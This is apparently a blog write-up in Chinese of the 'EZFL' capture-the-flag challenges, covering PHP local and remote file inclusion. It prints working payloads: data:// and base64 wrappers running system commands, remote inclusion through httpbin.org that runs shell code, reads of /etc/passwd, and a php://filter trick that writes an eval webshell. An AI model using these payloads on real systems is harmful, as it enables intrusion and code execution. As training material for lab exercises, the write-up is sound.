青岑CTF web入门 EZFL系列

EZFL

打开源码看见了一个php文件,双击访问:

再次打开源码看见了base64编码的字符串:

EZFL_1

依旧看源码:

用php伪协议读取即可

EZFL_2

依旧看源码,这次php://filter被拦截了,用data伪协议绕过:

plain 复制代码
?file=data://text/plain,<?php system("cat flag.php");?>

然后在打开源码看见了flag

EZFL_3

这次查看源码又看见了base64,翻译过来就是这次只能靠自己了。尝试使用data协议读取flag,但是没成功。那就先看看flag藏在哪里了:

plain 复制代码
?file=data://text/plain,<?php system('ls /');?>

发现可疑目标:

EZFL_4

这一关php这个关键字被过滤了,构造payload:

plain 复制代码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

EZFL_5

这题很有意思,php和data关键字都被过滤了。访问/etc/passwd没找到什么有用的东西。访问/entrypoint.sh文件看到了有用的信息:

flag放在了/var/www/html/flag.php文件里面了,但是路径上有php三个字,不能直接读。

尝试 ?file=http://www.baidu.com,页面正常渲染 → 证明 allow_url_include = On,RFI 成立。这是从读文件升级到代码执行的关键跳板。

那就构造payload:

plain 复制代码
?file=http://httpbin.org/base64/PD89YGNhdCBmKmA_Pg==

成功拿到flag:

Payload 的最后一部分是一个 Base64 编码的字符串:PD89YGNhdCBmKmA_Pg==,如果我们把这段 Base64 解码,得到的内容是:

php 复制代码
<?=`cat f*`?>

这是一段极其精简的恶意的 PHP 代码:

  • <?=?>:这是 PHP 的短标签语法,等同于 <?php echo ...; ?>
  • cat f*:在 PHP 中,反引号(反单引号)的作用是执行操作系统的 Shell 命令。

httpbin.org 有一个专门测试 Base64 的接口:httpbin.org/base64/{被编码的字符串}。 当你访问这个链接时,httpbin.org 会在服务器端将字符串解码,并且只把解码后的纯文本内容作为网页正文返回给服务器 。 目标服务器的 include 函数接收到了这段包含 PHP 标签的代码,将其当作本地 PHP 脚本直接执行了

EZFL_6

有了上一题的经验,这一题就好写多了。同样过滤了php和data,先访问/entrypoint.sh文件看看:

  • echo $FLAG > /qingcenctf.txt:容器启动时,系统会把环境变量里的 Flag 写入到根目录下的 /qingcenctf.txt 文件中。

直接构造payload就能读取了:

EZFL_7

php 复制代码
<?php
highlight_file(__FILE__);

if (isset($_POST['filename']) && isset($_POST['content'])) {
    $filename = $_POST['filename'];
    $content = $_POST['content'];

    file_put_contents($filename, "<?php exit();?>" . $content);
    echo "write ok";
}
?>

这是非常经典的一个场景,通常被称为"死亡 exit 绕过 "。 这段代码允许你通过 POST 请求向服务器上的任意文件写入任意内容,但为了防止你写入恶意代码(如 WebShell),开发者在你的内容前面强制加上了 <?php exit();?>

最常用的绕过方式是利用 php://filter 配合 Base64 解码。

  • base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有"="符号用作后缀用途。
  • base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
  • $content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有"phpexit"和我们传入的其他字符。

payload:

plain 复制代码
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

再使用蚁剑连接拿下flag即可

相关推荐
我是一颗柠檬1 小时前
【计算机网络全面教学】网络安全与加密技术,从对称加密到常见攻击防御Day6(2026年)
网络·计算机网络·web安全
terry6002 小时前
2026企业5G短信服务商选型全指南:通道、架构、服务全维度评估标准
大数据·人工智能·5g·web安全·信息与通信·数据库架构
未若君雅裁18 小时前
生产问题排查与性能瓶颈定位:日志、监控、链路追踪、压测与Arthas
java·web安全
见青..20 小时前
文件上传漏洞之原理、探测、利用、绕过、防御
web安全·网络安全·漏洞·文件上传
代码飞天21 小时前
CTF之灵活多变——利用Metaploit来获取系统控制权
web安全
杨先生哦1 天前
2026 热端攻防:AI 驱动 Web 前端安全全景透析
前端·笔记·安全·web安全
持敬chijing1 天前
Web渗透之前后端漏洞-CORS跨越访问漏洞
安全·web安全·网络安全·网络攻击模型·安全威胁分析
阿狸猿1 天前
网络安全体系设计
安全·web安全
HackTwoHub1 天前
免费FOFA高级会员、DayDaymap、360Quake、Hunter测绘搜索引擎高级会员免费使用最大1W条查询工具
运维·安全·web安全·搜索引擎·网络安全·系统安全·安全架构